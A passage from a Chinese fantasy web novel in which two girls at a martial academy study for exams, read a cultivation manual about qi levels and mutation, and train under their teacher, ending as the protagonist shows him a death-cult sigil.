挂断电话,面对异父异母的妹妹,沈昭毫不客气的挑起来。
“那紫色的归我。”
一样的东西,也就颜色不同,纪缨对此也没什么要求,她将自己那份拿过来,又开始蹲地上拆皮箱。
这里面全都是试卷和课本,也是分两份打包好的,纪缨很轻松的就认出自己那份。
她将书和试卷抱到桌上,分类摞在书架上。
沈昭先把自己那份洗漱用品归放整齐,也将书抱到书桌上摆放好,又顺手拿起来份数学试卷翻看。
时隔数百年,文科内容变化太大,短时间不太好拾,数学就不一样了,基础不会变,顶多改个题目,正好适合现在翻翻,看看难度。
果然,事实如她所想,基础内容没多大变化,难度也不高,大概四川卷安徽卷的水平,远没有江苏那么变态。
稍微练个几张,满分一百,拿个九十五分绰绰有余。
希望其它学科也要数学一样简单啊。
‘咚咚咚’。
两人正看着书,门外忽然传来一阵敲门声。
沈昭抬起头:“谁啊?”
“是我,曹璐。”
曹璐推开门,她手中拎着个平板大小皮包,像壮士断腕般脚步沉重的走进来。
“愿赌服输,我来送我们这个月的零花钱。”
曹璐提着的褐色皮包鼓胀着,里面的钱数绝对不少,沈昭有些惊讶:
“你们哪来的这么多零花钱?”
“崔…老师会带我们去郊外猎杀凶兽练手,凶兽尸体也算值钱,不过崔老师看不上,就分给我们当零花钱了。”
曹璐将皮包放在床上,双手交叉,环抱在胸前强调:“但这都是我们辛苦搏杀才换来的!”
沈昭恍然大悟。
怪不得崔折一提零花钱当赌注,他们就像打了鸡血似的要拼命,原来都是自己赚来的啊。
可惜都输给她了,嘻嘻。
“为了你们的钱包着想。”
拿这么多钱,沈昭还是长出来点良心,她提议道:“我觉着咱们以后还是离远点比较好。”
“你以为我不想吗?是我们根本躲不掉!”
曹璐冷哼,她回想起刚才崔狗上门催促的场景,后背就好像有冰凉的蛇在乱爬。
即便【兽感】并不能预知未来,曹璐仍能确定,自己和小伙伴们未来的生活一定会非常糟糕。
这都是沈昭带来的!
想想这变态一会儿就掌握了炁能强化,曹璐心情就更加悲愤。
这种别人家的孩子最可气了!
她完全不想在此地多待,正准备转身离开,忽然看见沈昭手中的数学试卷,表情瞬间凝固。
这变态居然真的在做数学试卷?
愣了半秒,曹璐僵硬的扭动脖颈,看向纪缨,发现她正拿着笔写题。
像是看到了什么可怕的怪物,曹璐倒抽口冷气,连退两步,“大中午的,你们不睡午觉,写什么题啊?”
“我们要联考的哎。”
虽然昨天还差点没命,接下来还有死亡教徒的威胁,但城市还没有毁灭,她们就逃不掉联考,见沈昭在看试卷,纪缨也本能的拿起练习册就做了起来。
她默默停下笔。
“您这种及格就能拿学士证的请不要大惊小怪好嘛。”
曹璐忽然感觉腿上中了一箭。
武道院的学员享有特殊加分政策,类似于体育特长生,实力足够,文化分及格就能拿到本地大学的毕业证书,但是吧……<
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p>她是个学渣,考试成绩在及格边缘反复横跳的那种。
而这种情况在武道院还不是个例。
大家都拼命练武了,凭什么还要学文化课啊!
看着面前的两人,曹璐预感越发不妙:“你们文化课很好?”
“马马虎虎吧。”沈昭随口道:“模考也就考了五百出头。”
“我好一点。”纪缨手托着下巴:“总分五百五十六。”
模考文化课总分为六百。
听完这段话的曹璐感觉胸口插了一箭又一箭。
什么叫马马虎虎,考了五百出头?
什么叫好一点,考了五百五十六?
还在及格线上挣扎的曹璐瞬间道心破碎,她伸手指着坐在书桌前,现在还是手不离卷的两人,半天都说不出话来,只觉着全身都哇凉哇凉的。
怎么有人练武天赋那么高,文化课又那么好的同时还那么卷啊!
完了完了,崔狗更不会放过他们了!
你们两个卷狗赶紧滚出武道院啊啊啊!
*
曹璐自己都不知道自己是怎么走出房间的。
看着对方离去的背影,纪缨收起了自己谦虚的表情,笑嘻嘻的开口:“我感觉她快要哭了。”
“一会儿还有六个要哭呢。”
沈昭脸上同样带着笑意,丝毫不在意自己即将给他人带来多大的压力。
笑死,她卷就是为了这个口牙!
试卷已经看完,沈昭瞧了眼墙上的表,距离两点半就剩下四十分钟,别的科目也看不完,她放下试卷,拿出崔折给的修行手册,准备研究一下该如何修行,好尽快提升实力。
手册非常精简,把无用的意义和历史发展都给进化掉了,开头就是修行者等级的划分。
联盟将修行者划分为五个等级,分别为启灵,凝炁,蜕凡,随行,化境,每个等级又分为三小阶,为初,中,后。
其中,启灵期最容踏入,和炁有一定亲和度,体内能储备一百标准单位的炁能即为启灵初期。
而启灵至凝炁阶段最容易跨越,但就像游戏新手介绍一样,接下来直接步入地狱级难度,大部分修行者一辈子都卡在凝炁后期。
出现这种原因,是因为人体自身。
炁这种能让人类生命擢升的特殊物质是把双刃剑,它能作用于人体细胞,令其更有活力。
但细胞本身的分裂并不稳定,在炁能的刺激下,极易出现异常增生,比如眼球之上再长一个眼球,肌肉直接长在骨髓里什么的。
因呈现出来的表象是人体发生畸形异变,故而也被称作为畸变。
联盟在大学才开启修行课程,也有一部分原因是因为此,生长期的少年比成年人更容易畸变。
而体质,或者说细胞越能吸收炁能的天赋者,虽然修行的速度很快,但产生畸变的概率也越高,所以并不被认作天才。
看到这里,沈昭停下了。
怪不得原主天赋这么高,也没有学校提前捞她……等等,按手册所说,她这种生长期体内炁能积累到启灵中期天赋者,早就该出现畸变了啊。
可今年的学校体检显示她极为健康,外表和体内都没有异常增生。
这又是怎么一回事儿?
26.下章入V啦~
心中疑惑,沈昭继续后翻。
但册子并没有她这种情况的解释,后面大篇幅都在讲解如何检查自身是否异常,以及启灵和凝炁两个阶段如何正确吸收炁能,提升实力。
这其中还夹杂了大量的失败案例,还是配图的那种,个个状态惨烈,不亚于大学时老师上课放的各种病变图,普通人看一眼恐怕都得缓半天,不过对早就练出来的沈招来说嘛……
挺下饭的。
虽然对图片无感,但对编撰者那几乎溢出纸面的警告,沈昭还是能接收到的,她决定这两天抽空把整本册子都背下来。
这可都是前辈们拿命试出来的血泪经验啊,记住能少死几百回!
沈昭继续后翻,不厚的手册很快被翻到了最后,很快,卷尾作者的几段话吸引了她的注意力。
[……本手册旨为联盟大众修行者提供修行指引,为保证其普适性,故剔除特殊人才数据,极少部分修行者自身稳定性极强,极难发生畸变,若同时与炁能高度亲和,则为不可多得的修行人才,修行速度一日千里,未来更是可期,但因测试危险性较高,往往成年后才被发现……]
咦咦咦?
这岂不是在说我?
沈昭坐直身体。
她倒不奇怪为何成年后才被发现,那么多难以治愈的畸变图例可不是说着玩的,更能吸收炁能的孩子也更容易畸变,在大部分孩子都会出问题的情况下,谁敢拿他们后半辈子赌一个可能?
那是造孽!
不过,这么说的话,她,或者说原主,真就是明珠蒙尘了。
‘修行速度一日千里,未来更是可期’的黑色字迹印在沈昭眼中,昨日陆队和今天崔折所说的话又一一在耳边响起。
沈昭微微皱眉,预感有些不妙。
她的价值远比自己想的要大。
大部分修行者都被困在凝炁期,她却有极大可能突破蜕凡。
这个时代,最顶级的化境期只是纸面记载,随行期的强者军衔高至将军,一年都在电视上见不到一回面,各大城市内部最高端的战力也就是蜕凡,数量还不多,至今为止,沈昭也就见到四位。
对人员难以补充的死亡教徒来说,她这种人才绝对珍贵,只要吸纳进来,稍微倾注些资源,就能成长为教派未来的高端战力,不,进入凝炁期就能为教派出力了!
沈昭完全不敢掉以轻心。
接连两次撞破死亡教会的布置虽然都是巧合,但侧面也能说明他们的活动轨迹与她的生活圈重叠,更有可能发现原主这个璞玉了。
问题来了,邪/教怎么招新来着?
刚穿越时的所见再次浮现在沈昭眼前,尤其是那个血色的八芒星阵,现在看起来更阴了!
不出意外的话,它很大可能和死亡之主沾点关系。
沈昭沉默片刻,轻叹一声。
还是逃不掉啊。
昨晚陆队提她有可能和死亡教徒有所交际时,她其实已经想到了它,但涉及自己的死而复生,沈昭还是下意识进行了隐瞒,现在看,终究是多此一举了。
她拿出纸,将原主所绘的八芒星阵一点一点画了上去。
崔折对死亡教徒也很熟悉,下午挑个合适的时候,请他确认吧。
她还得好好想想,怎么面对接下来的问询呢。
*
下午两点二十八分,沈昭和纪缨来到了地下训练场。
相较于上午,下午训练场上的人更多了些,有老师正催促着负重奔跑的学员们加快速度,不大的口哨被他吹的震天响。
沈昭四处一扫,发现崔折正躺在擂台旁的排椅上,似乎正睡的死沉。
可刚靠近十米的范畴,他便猛地睁开眼睛坐了起来,跟诈尸似的。
“还行,没迟到。”
崔折看了眼手表:“你们俩也算是有胆。”
练武就是吃苦受罪,许多少年很难凭自身意志硬撑下去,必须是老师,父母变着法逼迫才能坚持。
而沈昭和纪缨练得更狠,虽说有个要命的死亡教徒在身后追着,但她们完全可以呆在武道院不出去,不用吃这份大苦,照样能保住性命。
可这俩姑娘好像完全不知道似的,不用催,就准时过来继续特训。
这意志力……就不能分点给那群兔崽子吗!
“今天下午我主训纪缨,沈昭你就练炁能吐纳吧。”
心里羡慕着,崔折面上却极为平淡,“修行手册看了没?”
沈昭道:“看过了。”
“那也不用我多费口舌了,你就练第二十六页的淬体十二式。”
崔折满意的打开身后的黑色箱子,“这里面是炁石,一会儿你自己拿,现在先调整好状态,练一遍我看看。”
说着,崔折从中拿出一块炁石,扔到沈昭手中。
“好。”
沈昭接下炁石,盘腿坐下,开始吸纳其中的能量。
丝丝缕缕的炁能进入体内,如雾气般缓缓向全身扩散,待充斥全身后,又逐渐开始在身体各处聚成一团。
这便是修行者容易畸变的原因之一了。
炁能有着极为古怪的特性,高浓度炁能会向外扩散,低浓度炁能又会向高浓度炁能聚集。
在人体内,就是炁能汇集在一起,长期停留在某处血肉、组织上。
炁能本就会强化细胞活性,在高浓度炁能的催化下,这处的细胞的变异率会指数级增长。
好在,修行者早就找到了应对方法。
感受着体内充盈的炁能,沈昭放下炁石,站起身,活动活动手脚,随即调整呼吸,扎紧马步,肌肉发力,向前挥出一拳!
随着动作,体内汇集成团的炁能瞬间散开,精神力自然而然驱动着它们,在体内不停的游走。
通过特定的连贯动作,牵引精神力震荡体内停滞的炁能,就能使其重新奔涌全身,借此反复淬炼身体每一处血肉,骨骼,以此增加身体容纳炁能的上限。
这就是修行者提升等阶的方式。
只是挥拳的瞬间,沈昭便感觉全身都在刺痛,像轻微的电击混合着运动到极致的酸软麻木,让人根本无法维持动作。
这是正常现象。
淬炼全身血肉,那其中的神经也逃不掉,被炁能刺激它们自然会给予反馈。
就是这反馈不太正向,极其劝退。
沈昭用尽所有的意志坚持着,继续下一个动作,抬腿上踢!
“她这真是第一次练?”
一直观看的崔折又摸起下巴。
他还原本以为自己需要指点一下沈昭的动作,没想到对方这比教科书上的还要标准,甚至还不断的往下继续,若非她速度略有些缓慢,换式之间带着几分生涩,他都以为对方至少已经练了小半年了!
玛德,真是个变态。
观看的纪缨也陷入沉默。
沈昭这是又开了?不对,她应该就没关吧!
“应该是第一次。”
开的多了,纪缨也看开了,她熟练的接受了这离谱的一幕,甚至都懒得回忆自己第一次练淬体时,差点因为反馈直接摔倒在地、后来花了半个来月熟悉才能打完整套淬体招式。
沈昭一步一步打完十二式,她停了下来,额头已经泛起细密的汗珠,肺急促收缩着。
她微微喘着气问道:
“崔都事,我打的没问题吧?”
你这都比教科书标准了,还有个鬼问题啊!
“没问题。”
崔折木着脸开口:“接下来你自己练吧,练一次休息一会儿,别急,觉着不对劲儿就直说哈。”
“哦,好。”
沈昭正
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觉着疲累,当即坐下休息,还拿了瓶水喝。
“来纪缨,现在该你了。”
崔折道:“你契约的英灵影猫不擅直面作战,这个你清楚吧?”
纪缨点点头,“知道。”
动物系英灵给予契约者的能力,皆来自于自身,猫虽然属于猎食者,有一定战斗能力,但体型太小,无法给予契约者太多力量方面的强化,对比起青蟒、风雷虎、撼地熊这种能给予契约者更强力量强化的英灵,自然是不善近战了。
“知道那就得记心里,遇见死亡教徒,你唯一要做的就是跑,除非无处可逃,只能拼命搏一把,否则不要考虑近战。”
说道这里,崔折的表情极为严肃,不过很快又放松下来。
“不过跑也是有窍门的,影猫这个英灵,有项极为独特的天赋,也就是影中潜行,这天赋被义士会研究了上百年,有各种最大化发挥其能力的技法,也是巧,我和他们打过交道,学过几招,正好能教你。”
沈昭旁听着,忍不住问道:“义士会是什么?”
“一个很老的刺客组织,其创始人就是影猫诞生的第一位契约者,主张刺杀欺压普通人的败类,为受压迫者复仇。”
说着,崔折耸了耸肩:“不过联盟发展的不错,义士会也逐渐衰落,现在都开始转职侦查兵了。”
酷…呃,好吧。
前面听起来还挺高逼格的,以为要上演刺客信条呢,结果后面一句转职侦察兵,瞬间将沈昭拉回现实。
不过,越是大侠兴盛的时代,往往世道也越是不平,如今城市安稳,义士会这种传承上百的组织也没有腐朽,还能转入军中,也是件好事。
“不扯闲篇了。”
崔折将话题收了回来。
“完全掌握影中潜行,就可以和影猫一样,化作影子,潜藏在各类物体的影子中不被同等阶修行者发现,极其适合你保命。”
说着,崔折举起两根手指:“不过想做到这个,得从最基础的融身于影学起,纪缨你需要做到两点,一是敛气,让人察觉不到你的气息,二才是藏身,让外人看不见你。”
这两个说起来简单,实际操作极为复杂,光一个敛气,除了需要抹去呼吸,连自身热量、视线、气味、炁能等一切会引起他人注意的都要收敛起来,大成后,能达到人虽在,但旁人只会觉着这里并没有人的成效。
至于后者,那就是真的让人化作黑影,彻底让人在视觉上也看不见了。
这种将人化作影子的天赋实在太过神奇,沈昭没忍住,一直竖起耳朵倾听。
可惜这能力大部分都是如何利用英灵来做到这些,她基本学不了,反倒是纪缨听着听着就恍然大悟,还当场演示了一下如何半小时学会降低存在感。
看着越发欢快的纪缨,沈昭面容颇为深沉。
所以,纪缨你肯定也开了,对吧?!
时间在沈昭吐纳炁能,淬炼身体,纪缨不断尝试敛气的过程中,悄悄溜走了。
晚上七点,学员早就陆续离开训练场,偌大的场地仅剩下三个人,崔折少有的主动赶起来人:
“别练了,下课了,你们两个去吃饭吧。”
纪缨沉溺在初步掌握敛气的兴奋中,她恋恋不舍的停下,正准备喊沈昭一起去吃饭,却见她站在原地,从口袋中拿出张折起来的纸。
“崔都事,我有件事要问您。”
沈昭将画着八芒星阵图的纸张递了过去:“您见过这个吗?”
“什么东西?”
崔折接过纸张,只扫一眼,原本随意的表情瞬间凝重起来,那副睁不开的双眸瞬间锐利如虎。
“沈昭,你从哪里看到的这个?”
很好。
沈昭悬着的心立刻死了。
确诊了,这百分之百和死亡教徒有关系。